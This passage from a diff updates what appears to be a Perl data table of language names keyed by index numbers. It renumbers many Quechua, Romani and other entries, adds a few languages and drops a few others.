+   q(5616) => [
       q(Central Pashto),
       ],
-   q(5614) => [
+   q(5617) => [
       q(Sauraseni Prakrit),
       ],
-   q(5615) => [
+   q(5618) => [
       q(Port Sandwich),
       ],
-   q(5616) => [
+   q(5619) => [
       q(Piscataway),
       ],
-   q(5617) => [
+   q(5620) => [
       q(Pai Tavytera),
       ],
-   q(5618) => [
+   q(5621) => [
       q(Pataxo Ha-Ha-Hae),
       ],
-   q(5619) => [
+   q(5622) => [
       q(Pintiini),
       ],
-   q(5620) => [
+   q(5623) => [
       q(Patani),
       ],
-   q(5621) => [
+   q(5624) => [
       q(Zo'e),
       ],
-   q(5622) => [
+   q(5625) => [
       q(Patep),
       ],
-   q(5623) => [
+   q(5626) => [
       q(Pattapu),
       ],
-   q(5624) => [
+   q(5627) => [
       q(Piamatsina),
       ],
-   q(5625) => [
+   q(5628) => [
       q(Enrekang),
       ],
-   q(5626) => [
+   q(5629) => [
       q(Bambam),
       ],
-   q(5627) => [
+   q(5630) => [
       q(Port Vato),
       ],
-   q(5628) => [
+   q(5631) => [
       q(Pentlatch),
       ],
-   q(5629) => [
+   q(5632) => [
       q(Pathiya),
       ],
-   q(5630) => [
+   q(5633) => [
       q(Western Highland Purepecha),
       ],
-   q(5631) => [
+   q(5634) => [
       q(Purum),
       ],
-   q(5632) => [
+   q(5635) => [
       q(Punan Merap),
       ],
-   q(5633) => [
+   q(5636) => [
       q(Punan Aput),
       ],
-   q(5634) => [
+   q(5637) => [
       q(Puelche),
       ],
-   q(5635) => [
+   q(5638) => [
       q(Punan Merah),
       ],
-   q(5636) => [
+   q(5639) => [
       q(Phuie),
       ],
-   q(5637) => [
+   q(5640) => [
       q(Puinave),
       ],
-   q(5638) => [
+   q(5641) => [
       q(Punan Tubu),
       ],
-   q(5639) => [
-      q(Pu Ko),
-      ],
-   q(5640) => [
+   q(5642) => [
       q(Puma),
       ],
-   q(5641) => [
+   q(5643) => [
       q(Puoc),
       ],
-   q(5642) => [
+   q(5644) => [
       q(Pulabu),
       ],
-   q(5643) => [
+   q(5645) => [
       q(Puquina),
       ],
-   q(5644) => [
+   q(5646) => [
       q(Purubora),
       ],
-   q(5645) => [
+   q(5647) => [
       q(Putoh),
       ],
-   q(5646) => [
+   q(5648) => [
       q(Punu),
       ],
-   q(5647) => [
+   q(5649) => [
       q(Puluwatese),
       ],
-   q(5648) => [
+   q(5650) => [
       q(Puare),
       ],
-   q(5649) => [
+   q(5651) => [
       q(Purisimeno),
       ],
-   q(5650) => [
+   q(5652) => [
       q(Pawaia),
       ],
-   q(5651) => [
+   q(5653) => [
       q(Panawa),
       ],
-   q(5652) => [
+   q(5654) => [
       q(Gapapaiwa),
       ],
-   q(5653) => [
+   q(5655) => [
       q(Patwin),
       ],
-   q(5654) => [
+   q(5656) => [
       q(Molbog),
       ],
-   q(5655) => [
+   q(5657) => [
       q(Paiwan),
       ],
-   q(5656) => [
+   q(5658) => [
       q(Pwo Western Karen),
       ],
-   q(5657) => [
+   q(5659) => [
       q(Powari),
       ],
-   q(5658) => [
+   q(5660) => [
       q(Pwo Northern Karen),
       ],
-   q(5659) => [
+   q(5661) => [
       q(Quetzaltepec Mixe),
       ],
-   q(5660) => [
+   q(5662) => [
       q(Pye Krumen),
       ],
-   q(5661) => [
+   q(5663) => [
       q(Fyam),
       ],
-   q(5662) => [
+   q(5664) => [
       q(Poyanawa),
       ],
-   q(5663) => [
+   q(5665) => [
       q(Paraguayan Sign Language),
       q(Lengua de Senas del Paraguay),
       ],
-   q(5664) => [
+   q(5666) => [
       q(Puyuma),
       ],
-   q(5665) => [
+   q(5667) => [
       q(Pyu (Myanmar)),
       ],
-   q(5666) => [
+   q(5668) => [
       q(Pyen),
       ],
-   q(5667) => [
+   q(5669) => [
       q(Para Naga),
       ],
-   q(5668) => [
+   q(5670) => [
       q(Quapaw),
       ],
-   q(5669) => [
+   q(5671) => [
       q(Huallaga Huanuco Quechua),
       ],
-   q(5670) => [
+   q(5672) => [
       q(K'iche'),
       q(Quiche),
       ],
-   q(5671) => [
+   q(5673) => [
       q(Calderon Highland Quichua),
       ],
-   q(5672) => [
+   q(5674) => [
       q(Lambayeque Quechua),
       ],
-   q(5673) => [
+   q(5675) => [
       q(Chimborazo Highland Quichua),
       ],
-   q(5674) => [
+   q(5676) => [
       q(South Bolivian Quechua),
       ],
-   q(5675) => [
+   q(5677) => [
       q(Quileute),
       ],
-   q(5676) => [
+   q(5678) => [
       q(Chachapoyas Quechua),
       ],
-   q(5677) => [
+   q(5679) => [
       q(North Bolivian Quechua),
       ],
-   q(5678) => [
+   q(5680) => [
       q(Sipacapense),
       ],
-   q(5679) => [
+   q(5681) => [
       q(Quinault),
       ],
-   q(5680) => [
+   q(5682) => [
       q(Southern Pastaza Quechua),
       ],
-   q(5681) => [
+   q(5683) => [
       q(Quinqui),
       ],
-   q(5682) => [
+   q(5684) => [
       q(Yanahuanca Pasco Quechua),
       ],
-   q(5683) => [
+   q(5685) => [
       q(Santiago del Estero Quichua),
       ],
-   q(5684) => [
+   q(5686) => [
       q(Sacapulteco),
       ],
-   q(5685) => [
+   q(5687) => [
       q(Tena Lowland Quichua),
       ],
-   q(5686) => [
+   q(5688) => [
       q(Yauyos Quechua),
       ],
-   q(5687) => [
+   q(5689) => [
       q(Ayacucho Quechua),
       ],
-   q(5688) => [
+   q(5690) => [
       q(Cusco Quechua),
       ],
-   q(5689) => [
+   q(5691) => [
       q(Ambo-Pasco Quechua),
       ],
-   q(5690) => [
+   q(5692) => [
       q(Cajamarca Quechua),
       ],
-   q(5691) => [
+   q(5693) => [
       q(Eastern Apurimac Quechua),
       ],
-   q(5692) => [
+   q(5694) => [
       q(Huamalies-Dos de Mayo Huanuco Quechua),
       ],
-   q(5693) => [
+   q(5695) => [
       q(Imbabura Highland Quichua),
       ],
-   q(5694) => [
+   q(5696) => [
       q(Loja Highland Quichua),
       ],
-   q(5695) => [
+   q(5697) => [
       q(Cajatambo North Lima Quechua),
       ],
-   q(5696) => [
+   q(5698) => [
       q(Margos-Yarowilca-Lauricocha Quechua),
       ],
-   q(5697) => [
+   q(5699) => [
       q(North Junin Quechua),
       ],
-   q(5698) => [
+   q(5700) => [
       q(Napo Lowland Quechua),
       ],
-   q(5699) => [
+   q(5701) => [
       q(Pacaraos Quechua),
       ],
-   q(5700) => [
+   q(5702) => [
       q(San Martin Quechua),
       ],
-   q(5701) => [
+   q(5703) => [
       q(Huaylla Wanca Quechua),
       ],
-   q(5702) => [
+   q(5704) => [
       q(Queyu),
       ],
-   q(5703) => [
+   q(5705) => [
       q(Northern Pastaza Quichua),
       ],
-   q(5704) => [
+   q(5706) => [
       q(Corongo Ancash Quechua),
       ],
-   q(5705) => [
+   q(5707) => [
       q(Classical Quechua),
       ],
-   q(5706) => [
+   q(5708) => [
       q(Huaylas Ancash Quechua),
       ],
-   q(5707) => [
+   q(5709) => [
       q(Kuman (Russia)),
       ],
-   q(5708) => [
+   q(5710) => [
       q(Sihuas Ancash Quechua),
       ],
-   q(5709) => [
+   q(5711) => [
       q(Kwalhioqua-Tlatskanai),
       ],
-   q(5710) => [
+   q(5712) => [
       q(Chiquian Ancash Quechua),
       ],
-   q(5711) => [
+   q(5713) => [
       q(Chincha Quechua),
       ],
-   q(5712) => [
+   q(5714) => [
       q(Panao Huanuco Quechua),
       ],
-   q(5713) => [
+   q(5715) => [
       q(Salasaca Highland Quichua),
       ],
-   q(5714) => [
+   q(5716) => [
       q(Northern Conchucos Ancash Quechua),
       ],
-   q(5715) => [
+   q(5717) => [
       q(Southern Conchucos Ancash Quechua),
       ],
-   q(5716) => [
+   q(5718) => [
       q(Puno Quechua),
       ],
-   q(5717) => [
+   q(5719) => [
       q(Qashqa'i),
       ],
-   q(5718) => [
+   q(5720) => [
       q(Canar Highland Quichua),
       ],
-   q(5719) => [
+   q(5721) => [
       q(Southern Qiang),
       ],
-   q(5720) => [
+   q(5722) => [
       q(Santa Ana de Tusi Pasco Quechua),
       ],
-   q(5721) => [
+   q(5723) => [
       q(Arequipa-La Union Quechua),
       ],
-   q(5722) => [
+   q(5724) => [
       q(Jauja Wanca Quechua),
       ],
-   q(5723) => [
+   q(5725) => [
       q(Quenya),
       ],
-   q(5724) => [
+   q(5726) => [
       q(Quiripi),
       ],
-   q(5725) => [
+   q(5727) => [
       q(Dungmali),
       ],
-   q(5726) => [
+   q(5728) => [
       q(Camling),
       ],
-   q(5727) => [
+   q(5729) => [
       q(Rasawa),
       ],
-   q(5728) => [
+   q(5730) => [
       q(Rade),
       ],
-   q(5729) => [
+   q(5731) => [
       q(Western Meohang),
       ],
-   q(5730) => [
+   q(5732) => [
       q(Logooli),
       q(Lulogooli),
       ],
-   q(5731) => [
+   q(5733) => [
       q(Rabha),
       ],
-   q(5732) => [
+   q(5734) => [
       q(Ramoaaina),
       ],
-   q(5733) => [
+   q(5735) => [
       q(Tulu-Bohuai),
       ],
-   q(5734) => [
+   q(5736) => [
       q(Ralte),
       ],
-   q(5735) => [
+   q(5737) => [
       q(Canela),
       ],
-   q(5736) => [
+   q(5738) => [
       q(Riantana),
       ],
-   q(5737) => [
+   q(5739) => [
       q(Rao),
       ],
-   q(5738) => [
+   q(5740) => [
       q(Saam),
       ],
-   q(5739) => [
+   q(5741) => [
       q(Tegali),
       ],
-   q(5740) => [
+   q(5742) => [
       q(Razajerdi),
       ],
-   q(5741) => [
+   q(5743) => [
       q(Raute),
       ],
-   q(5742) => [
+   q(5744) => [
       q(Sampang),
       ],
-   q(5743) => [
+   q(5745) => [
       q(Rawang),
       ],
-   q(5744) => [
+   q(5746) => [
       q(Rang),
       ],
-   q(5745) => [
+   q(5747) => [
       q(Rapa),
       ],
-   q(5746) => [
+   q(5748) => [
       q(Rahambuu),
       ],
-   q(5747) => [
+   q(5749) => [
       q(Rumai Palaung),
       ],
-   q(5748) => [
+   q(5750) => [
       q(Northern Bontok),
       ],
-   q(5749) => [
+   q(5751) => [
       q(Miraya Bikol),
       ],
-   q(5750) => [
+   q(5752) => [
       q(Barababaraba),
       ],
-   q(5751) => [
+   q(5753) => [
       q(Reunion Creole French),
       ],
-   q(5752) => [
+   q(5754) => [
       q(Rudbari),
       ],
-   q(5753) => [
+   q(5755) => [
       q(Rerau),
       ],
-   q(5754) => [
+   q(5756) => [
       q(Rembong),
       ],
-   q(5755) => [
+   q(5757) => [
       q(Rejang Kayan),
       ],
-   q(5756) => [
+   q(5758) => [
       q(Kara (Tanzania)),
       ],
-   q(5757) => [
+   q(5759) => [
       q(Reli),
       ],
-   q(5758) => [
+   q(5760) => [
       q(Rejang),
       ],
-   q(5759) => [
+   q(5761) => [
       q(Rendille),
       ],
-   q(5760) => [
+   q(5762) => [
       q(Remo),
       ],
-   q(5761) => [
+   q(5763) => [
       q(Rengao),
       ],
-   q(5762) => [
+   q(5764) => [
       q(Rer Bare),
       ],
-   q(5763) => [
+   q(5765) => [
       q(Reshe),
       ],
-   q(5764) => [
+   q(5766) => [
       q(Retta),
       ],
-   q(5765) => [
+   q(5767) => [
       q(Reyesano),
       ],
-   q(5766) => [
+   q(5768) => [
       q(Roria),
       ],
-   q(5767) => [
+   q(5769) => [
       q(Romano-Greek),
       ],
-   q(5768) => [
+   q(5770) => [
       q(Rangkas),
       ],
-   q(5769) => [
+   q(5771) => [
       q(Romagnol),
       ],
-   q(5770) => [
+   q(5772) => [
       q(Resigaro),
       ],
-   q(5771) => [
+   q(5773) => [
       q(Southern Roglai),
       ],
-   q(5772) => [
+   q(5774) => [
       q(Ringgou),
       ],
-   q(5773) => [
+   q(5775) => [
       q(Rohingya),
       ],
-   q(5774) => [
+   q(5776) => [
       q(Yahang),
       ],
-   q(5775) => [
+   q(5777) => [
       q(Riang (India)),
       ],
-   q(5776) => [
-      q(Rien),
-      ],
-   q(5777) => [
+   q(5778) => [
       q(Tarifit),
       ],
-   q(5778) => [
+   q(5779) => [
       q(Riang (Myanmar)),
       ],
-   q(5779) => [
+   q(5780) => [
       q(Nyaturu),
       ],
-   q(5780) => [
+   q(5781) => [
       q(Nungu),
       ],
-   q(5781) => [
+   q(5782) => [
       q(Ribun),
       ],
-   q(5782) => [
+   q(5783) => [
       q(Ritarungo),
       ],
-   q(5783) => [
+   q(5784) => [
       q(Riung),
       ],
-   q(5784) => [
+   q(5785) => [
       q(Rajong),
       ],
-   q(5785) => [
+   q(5786) => [
       q(Raji),
       ],
-   q(5786) => [
+   q(5787) => [
       q(Rajbanshi),
       ],
-   q(5787) => [
+   q(5788) => [
       q(Kraol),
       ],
-   q(5788) => [
+   q(5789) => [
       q(Rikbaktsa),
       ],
-   q(5789) => [
+   q(5790) => [
       q(Rakahanga-Manihiki),
       ],
-   q(5790) => [
+   q(5791) => [
       q(Rakhine),
       ],
-   q(5791) => [
+   q(5792) => [
       q(Marka),
       ],
-   q(5792) => [
+   q(5793) => [
       q(Rangpuri),
       q(Kamta),
       ],
-   q(5793) => [
+   q(5794) => [
       q(Arakwal),
       ],
-   q(5794) => [
+   q(5795) => [
       q(Rama),
       ],
-   q(5795) => [
+   q(5796) => [
       q(Rembarunga),
       ],
-   q(5796) => [
+   q(5797) => [
       q(Carpathian Romani),
       ],
-   q(5797) => [
+   q(5798) => [
       q(Traveller Danish),
       ],
-   q(5798) => [
+   q(5799) => [
       q(Angloromani),
       ],
-   q(5799) => [
+   q(5800) => [
       q(Kalo Finnish Romani),
       ],
-   q(5800) => [
+   q(5801) => [
       q(Traveller Norwegian),
       ],
-   q(5801) => [
+   q(5802) => [
       q(Murkim),
       ],
-   q(5802) => [
+   q(5803) => [
       q(Lomavren),
       ],
-   q(5803) => [
+   q(5804) => [
       q(Romkun),
       ],
-   q(5804) => [
+   q(5805) => [
       q(Baltic Romani),
       ],
-   q(5805) => [
+   q(5806) => [
       q(Roma),
       ],
-   q(5806) => [
+   q(5807) => [
       q(Balkan Romani),
       ],
-   q(5807) => [
+   q(5808) => [
       q(Sinte Romani),
       ],
-   q(5808) => [
+   q(5809) => [
       q(Rempi),
       ],
-   q(5809) => [
+   q(5810) => [
       q(Calo),
       ],
-   q(5810) => [
+   q(5811) => [
       q(Romanian Sign Language),
       ],
-   q(5811) => [
+   q(5812) => [
       q(Domari),
       ],
-   q(5812) => [
+   q(5813) => [
       q(Tavringer Romani),
       ],
-   q(5813) => [
+   q(5814) => [
       q(Romanova),
       ],
-   q(5814) => [
+   q(5815) => [
       q(Welsh Romani),
       ],
-   q(5815) => [
+   q(5816) => [
       q(Romam),
       ],
-   q(5816) => [
+   q(5817) => [
       q(Vlax Romani),
       ],
-   q(5817) => [
+   q(5818) => [
       q(Marma),
       ],
-   q(5818) => [
+   q(5819) => [
       q(Ruund),
       ],
-   q(5819) => [
+   q(5820) => [
       q(Ronga),
       ],
-   q(5820) => [
+   q(5821) => [
       q(Ranglong),
       ],
-   q(5821) => [
+   q(5822) => [
       q(Roon),
       ],
-   q(5822) => [
+   q(5823) => [
       q(Rongpo),
       ],
-   q(5823) => [
+   q(5824) => [
       q(Nari Nari),
       ],
-   q(5824) => [
+   q(5825) => [
       q(Rungwa),
       ],
-   q(5825) => [
+   q(5826) => [
       q(Tae'),
       ],
-   q(5826) => [
+   q(5827) => [
       q(Cacgia Roglai),
       ],
-   q(5827) => [
+   q(5828) => [
       q(Rogo),
       ],
-   q(5828) => [
+   q(5829) => [
       q(Ronji),
       ],
-   q(5829) => [
+   q(5830) => [
       q(Rombo),
       ],
-   q(5830) => [
+   q(5831) => [
       q(Northern Roglai),
       ],
-   q(5831) => [
+   q(5832) => [
       q(Romblomanon),
       ],
-   q(5832) => [
+   q(5833) => [
       q(Rotokas),
       ],
-   q(5833) => [
+   q(5834) => [
       q(Kriol),
       ],
-   q(5834) => [
+   q(5835) => [
       q(Rongga),
       ],
-   q(5835) => [
+   q(5836) => [
       q(Runga),
       ],
-   q(5836) => [
+   q(5837) => [
       q(Dela-Oenale),
       ],
-   q(5837) => [
+   q(5838) => [
       q(Repanbitip),
       ],
-   q(5838) => [
+   q(5839) => [
       q(Rapting),
       ],
-   q(5839) => [
+   q(5840) => [
       q(Ririo),
       ],
-   q(5840) => [
+   q(5841) => [
       q(Waima),
       ],
-   q(5841) => [
+   q(5842) => [
       q(Arritinngithigh),
       ],
-   q(5842) => [
+   q(5843) => [
       q(Romano-Serbian),
       ],
-   q(5843) => [
-      q(Rennellese Sign Language),
-      ],
    q(5844) => [
       q(Russian Sign Language),
       ],
@@ -18105,437 +18113,437 @@
       q(North Slavey),
       ],
    q(5929) => [
+      q(Southern Katang),
+      ],
+   q(5930) => [
       q(Shumcho),
       ],
-   q(5930) => [
+   q(5931) => [
       q(Sheni),
       ],
-   q(5931) => [
+   q(5932) => [
       q(Sha),
       ],
-   q(5932) => [
+   q(5933) => [
       q(Sicel),
       ],
-   q(5933) => [
+   q(5934) => [
       q(Toraja-Sa'dan),
       ],
-   q(5934) => [
+   q(5935) => [
       q(Shabak),
       ],
-   q(5935) => [
+   q(5936) => [
       q(Sassarese Sardinian),
       ],
-   q(5936) => [
+   q(5937) => [
       q(Surubu),
       ],
-   q(5937) => [
+   q(5938) => [
       q(Sarli),
       ],
-   q(5938) => [
+   q(5939) => [
       q(Savi),
       ],
-   q(5939) => [
+   q(5940) => [
       q(Southern Kurdish),
       ],
-   q(5940) => [
+   q(5941) => [
       q(Suundi),
       ],
-   q(5941) => [
+   q(5942) => [
       q(Sos Kundi),
       ],
-   q(5942) => [
+   q(5943) => [
       q(Saudi Arabian Sign Language),
       ],
-   q(5943) => [
+   q(5944) => [
       q(Semandang),
       ],
-   q(5944) => [
+   q(5945) => [
       q(Gallurese Sardinian),
       ],
-   q(5945) => [
+   q(5946) => [
       q(Bukar-Sadung Bidayuh),
       ],
-   q(5946) => [
+   q(5947) => [
       q(Sherdukpen),
       ],
-   q(5947) => [
+   q(5948) => [
       q(Oraon Sadri),
       ],
-   q(5948) => [
+   q(5949) => [
       q(Sened),
       ],
-   q(5949) => [
+   q(5950) => [
       q(Shuadit),
       ],
-   q(5950) => [
+   q(5951) => [
       q(Sarudu),
       ],
-   q(5951) => [
+   q(5952) => [
       q(Sibu Melanau),
       ],
-   q(5952) => [
+   q(5953) => [
       q(Sallands),
       ],
-   q(5953) => [
+   q(5954) => [
       q(Semai),
       ],
-   q(5954) => [
+   q(5955) => [
       q(Shempire Senoufo),
       ],
-   q(5955) => [
+   q(5956) => [
       q(Sechelt),
       ],
-   q(5956) => [
+   q(5957) => [
       q(Sedang),
       ],
-   q(5957) => [
+   q(5958) => [
       q(Seneca),
       ],
-   q(5958) => [
+   q(5959) => [
       q(Cebaara Senoufo),
       ],
-   q(5959) => [
+   q(5960) => [
       q(Segeju),
       ],
-   q(5960) => [
+   q(5961) => [
       q(Sena),
       ],
-   q(5961) => [
+   q(5962) => [
       q(Seri),
       ],
-   q(5962) => [
+   q(5963) => [
       q(Sene),
       ],
-   q(5963) => [
+   q(5964) => [
       q(Sekani),
       ],
-   q(5964) => [
+   q(5965) => [
       q(Nanerige Senoufo),
       ],
-   q(5965) => [
+   q(5966) => [
       q(Suarmin),
       ],
-   q(5966) => [
+   q(5967) => [
       q(Sicite Senoufo),
       ],
-   q(5967) => [
+   q(5968) => [
       q(Senara Senoufo),
       ],
-   q(5968) => [
+   q(5969) => [
       q(Serrano),
       ],
-   q(5969) => [
+   q(5970) => [
       q(Koyraboro Senni Songhai),
       ],
-   q(5970) => [
+   q(5971) => [
       q(Sentani),
       ],
-   q(5971) => [
+   q(5972) => [
       q(Serui-Laut),
       ],
-   q(5972) => [
+   q(5973) => [
       q(Nyarafolo Senoufo),
       ],
-   q(5973) => [
+   q(5974) => [
       q(Sewa Bay),
       ],
-   q(5974) => [
+   q(5975) => [
       q(Secoya),
       ],
-   q(5975) => [
+   q(5976) => [
       q(Senthang Chin),
       ],
-   q(5976) => [
+   q(5977) => [
       q(Langue des signes de Belgique Francophone),
       q(French Belgian Sign Language),
       ],
-   q(5977) => [
+   q(5978) => [
       q(Eastern Subanen),
       ],
-   q(5978) => [
+   q(5979) => [
       q(Small Flowery Miao),
       ],
-   q(5979) => [
+   q(5980) => [
       q(South African Sign Language),
       ],
-   q(5980) => [
+   q(5981) => [
       q(Sehwi),
       ],
-   q(5981) => [
+   q(5982) => [
       q(Mag-antsi Ayta),
       ],
-   q(5982) => [
+   q(5983) => [
       q(Kipsigis),
       ],
-   q(5983) => [
+   q(5984) => [
       q(Surigaonon),
       ],
-   q(5984) => [
+   q(5985) => [
       q(Segai),
       ],
-   q(5985) => [
+   q(5986) => [
       q(Swiss-German Sign Language),
       ],
-   q(5986) => [
+   q(5987) => [
       q(Shughni),
       ],
-   q(5987) => [
+   q(5988) => [
       q(Suga),
       ],
-   q(5988) => [
+   q(5989) => [
       q(Surgujia),
       ],
-   q(5989) => [
+   q(5990) => [
       q(Sangkong),
       ],
-   q(5990) => [
+   q(5991) => [
       q(Singa),
       ],
-   q(5991) => [
+   q(5992) => [
       q(Singpho),
       ],
-   q(5992) => [
+   q(5993) => [
       q(Sangisari),
       ],
-   q(5993) => [
+   q(5994) => [
       q(Samogitian),
       ],
-   q(5994) => [
+   q(5995) => [
       q(Brokpake),
       ],
-   q(5995) => [
+   q(5996) => [
       q(Salas),
       ],
-   q(5996) => [
+   q(5997) => [
       q(Sebat Bet Gurage),
       ],
-   q(5997) => [
+   q(5998) => [
       q(Sierra Leone Sign Language),
       ],
-   q(5998) => [
+   q(5999) => [
       q(Sanglechi),
       ],
-   q(5999) => [
+   q(6000) => [
       q(Sursurunga),
       ],
-   q(6000) => [
+   q(6001) => [
       q(Shall-Zwall),
       ],
-   q(6001) => [
+   q(6002) => [
       q(Ninam),
       ],
-   q(6002) => [
+   q(6003) => [
       q(Sonde),
       ],
-   q(6003) => [
+   q(6004) => [
       q(Kundal Shahi),
       ],
-   q(6004) => [
+   q(6005) => [
       q(Sheko),
       ],
-   q(6005) => [
+   q(6006) => [
       q(Shua),
       ],
-   q(6006) => [
+   q(6007) => [
       q(Shoshoni),
       ],
-   q(6007) => [
+   q(6008) => [
       q(Tachelhit),
       ],
-   q(6008) => [
+   q(6009) => [
       q(Shatt),
       ],
-   q(6009) => [
+   q(6010) => [
       q(Shilluk),
       ],
-   q(6010) => [
+   q(6011) => [
       q(Shendu),
       ],
-   q(6011) => [
+   q(6012) => [
       q(Shahrudi),
       ],
-   q(6012) => [
+   q(6013) => [
       q(Shanga),
       ],
-   q(6013) => [
+   q(6014) => [
       q(Shipibo-Conibo),
       ],
-   q(6014) => [
+   q(6015) => [
       q(Sala),
       ],
-   q(6015) => [
+   q(6016) => [
       q(Shi),
       ],
-   q(6016) => [
+   q(6017) => [
       q(Shuswap),
       ],
-   q(6017) => [
+   q(6018) => [
       q(Shasta),
       ],
-   q(6018) => [
+   q(6019) => [
       q(Chadian Arabic),
       ],
-   q(6019) => [
+   q(6020) => [
       q(Shehri),
       ],
-   q(6020) => [
+   q(6021) => [
       q(Shwai),
       ],
-   q(6021) => [
+   q(6022) => [
       q(She),
       ],
-   q(6022) => [
+   q(6023) => [
       q(Tachawit),
       ],
-   q(6023) => [
+   q(6024) => [
       q(Syenara Senoufo),
       ],
-   q(6024) => [
+   q(6025) => [
       q(Akkala Sami),
       ],
-   q(6025) => [
+   q(6026) => [
       q(Sebop),
       ],
-   q(6026) => [
+   q(6027) => [
       q(Simaa),
       ],
-   q(6027) => [
+   q(6028) => [
       q(Siamou),
       ],
-   q(6028) => [
+   q(6029) => [
       q(Paasaal),
       ],
-   q(6029) => [
+   q(6030) => [
       q(Zire),
       q(Sishee),
       ],
-   q(6030) => [
+   q(6031) => [
       q(Shom Peng),
       ],
-   q(6031) => [
+   q(6032) => [
       q(Numbami),
       ],
-   q(6032) => [
+   q(6033) => [
       q(Sikiana),
       ],
-   q(6033) => [
+   q(6034) => [
       q(Tumulung Sisaala),
       ],
-   q(6034) => [
+   q(6035) => [
       q(Mende (Papua New Guinea)),
       ],
-   q(6035) => [
+   q(6036) => [
       q(Sikkimese),
       ],
-   q(6036) => [
+   q(6037) => [
       q(Sonia),
       ],
-   q(6037) => [
+   q(6038) => [
       q(Siri),
       ],
-   q(6038) => [
+   q(6039) => [
       q(Siuslaw),
       ],
-   q(6039) => [
+   q(6040) => [
       q(Sinagen),
       ],
-   q(6040) => [
+   q(6041) => [
       q(Sumariup),
       ],
-   q(6041) => [
+   q(6042) => [
       q(Siwai),
       ],
-   q(6042) => [
+   q(6043) => [
       q(Sumau),
       ],
-   q(6043) => [
+   q(6044) => [
       q(Sivandi),
       ],
-   q(6044) => [
+   q(6045) => [
       q(Siwi),
       ],
-   q(6045) => [
+   q(6046) => [
       q(Epena),
       ],
-   q(6046) => [
+   q(6047) => [
       q(Sajau Basap),
       ],
-   q(6047) => [
+   q(6048) => [
       q(Kildin Sami),
       ],
-   q(6048) => [
+   q(6049) => [
       q(Pite Sami),
       ],
-   q(6049) => [
+   q(6050) => [
       q(Assangori),
       ],
-   q(6050) => [
+   q(6051) => [
       q(Kemi Sami),
       ],
-   q(6051) => [
+   q(6052) => [
       q(Sajalong),
       q(Miji),
       ],
-   q(6052) => [
+   q(6053) => [
       q(Mapun),
       ],
-   q(6053) => [
+   q(6054) => [
       q(Sindarin),
       ],
-   q(6054) => [
+   q(6055) => [
       q(Xibe),
       ],
-   q(6055) => [
+   q(6056) => [
       q(Surjapuri),
       ],
-   q(6056) => [
+   q(6057) => [
       q(Siar-Lak),
       ],
-   q(6057) => [
+   q(6058) => [
       q(Senhaja De Srair),
       ],
-   q(6058) => [
+   q(6059) => [
       q(Ter Sami),
       ],
-   q(6059) => [
+   q(6060) => [
       q(Ume Sami),
       ],
-   q(6060) => [
+   q(6061) => [
       q(Shawnee),
       ],
-   q(6061) => [
+   q(6062) => [
       q(Skagit),
       ],
-   q(6062) => [
+   q(6063) => [
       q(Saek),
       ],
-   q(6063) => [
+   q(6064) => [
       q(Ma Manda),
       ],
-   q(6064) => [
+   q(6065) => [
       q(Southern Sierra Miwok),
       ],
-   q(6065) => [
+   q(6066) => [
       q(Seke (Vanuatu)),
       ],
-   q(6066) => [
+   q(6067) => [
       q(Sakirabia),
       ],
-   q(6067) => [
+   q(6068) => [
       q(Sakalava Malagasy),
       ],
-   q(6068) => [
+   q(6069) => [
       q(Sikule),
       ],
-   q(6069) => [
+   q(6070) => [
       q(Sika),
       ],
-   q(6070) => [
+   q(6071) => [
       q(Seke (Nepal)),
       ],
-   q(6071) => [
-      q(Sok),
-      ],
    q(6072) => [
       q(Kutong),
       ],
@@ -18712,655 +18720,655 @@
       q(Sanga (Democratic Republic of Congo)),
       ],
    q(6130) => [
-      q(Shinabo),
+      q(Sensi),
       ],
    q(6131) => [
-      q(Sensi),
+      q(Riverain Sango),
       ],
    q(6132) => [
-      q(Riverain Sango),
+      q(Sangil),
       ],
    q(6133) => [
-      q(Sangil),
+      q(Southern Ma'di),
       ],
    q(6134) => [
-      q(Southern Ma'di),
+      q(Siona),
       ],
    q(6135) => [
-      q(Siona),
+      q(Snohomish),
       ],
    q(6136) => [
-      q(Snohomish),
+      q(Siane),
       ],
    q(6137) => [
-      q(Siane),
+      q(Sangu (Gabon)),
       ],
    q(6138) => [
-      q(Sangu (Gabon)),
+      q(Sihan),
       ],
    q(6139) => [
-      q(Sihan),
-      ],
-   q(6140) => [
       q(South West Bay),
       q(Nahavaq),
       ],
-   q(6141) => [
+   q(6140) => [
       q(Senggi),
       q(Viid),
       ],
-   q(6142) => [
+   q(6141) => [
       q(Sa'ban),
       ],
-   q(6143) => [
+   q(6142) => [
       q(Selee),
       ],
-   q(6144) => [
+   q(6143) => [
       q(Sam),
       ],
-   q(6145) => [
+   q(6144) => [
       q(Saniyo-Hiyewe),
       ],
-   q(6146) => [
+   q(6145) => [
       q(Sinsauru),
       ],
-   q(6147) => [
+   q(6146) => [
       q(Thai Song),
       ],
-   q(6148) => [
+   q(6147) => [
       q(Sobei),
       ],
-   q(6149) => [
+   q(6148) => [
       q(So (Democratic Republic of Congo)),
       ],
-   q(6150) => [
+   q(6149) => [
       q(Songoora),
       ],
-   q(6151) => [
+   q(6150) => [
       q(Songomeno),
       ],
-   q(6152) => [
+   q(6151) => [
       q(Aka),
       ],
-   q(6153) => [
+   q(6152) => [
       q(Sonha),
       ],
-   q(6154) => [
+   q(6153) => [
       q(Soi),
       ],
-   q(6155) => [
+   q(6154) => [
       q(Sokoro),
       ],
-   q(6156) => [
+   q(6155) => [
       q(Solos),
       ],
-   q(6157) => [
+   q(6156) => [
       q(Songo),
       ],
-   q(6158) => [
+   q(6157) => [
       q(Songe),
       ],
-   q(6159) => [
+   q(6158) => [
       q(Kanasi),
       ],
-   q(6160) => [
+   q(6159) => [
       q(Somrai),
       ],
-   q(6161) => [
+   q(6160) => [
       q(Seeku),
       ],
-   q(6162) => [
+   q(6161) => [
       q(Southern Thai),
       ],
-   q(6163) => [
+   q(6162) => [
       q(Sonsorol),
       ],
-   q(6164) => [
+   q(6163) => [
       q(Sowanda),
       ],
-   q(6165) => [
+   q(6164) => [
       q(Swo),
       ],
-   q(6166) => [
+   q(6165) => [
       q(Miyobe),
       ],
-   q(6167) => [
+   q(6166) => [
       q(Temi),
       ],
-   q(6168) => [
+   q(6167) => [
       q(Sepa (Indonesia)),
       ],
-   q(6169) => [
+   q(6168) => [
       q(Sape),
       ],
-   q(6170) => [
+   q(6169) => [
       q(Saep),
       ],
-   q(6171) => [
+   q(6170) => [
       q(Sepa (Papua New Guinea)),
       ],
-   q(6172) => [
+   q(6171) => [
       q(Sian),
       ],
-   q(6173) => [
+   q(6172) => [
       q(Saponi),
       ],
-   q(6174) => [
+   q(6173) => [
       q(Sengo),
       ],
-   q(6175) => [
+   q(6174) => [
       q(Selepet),
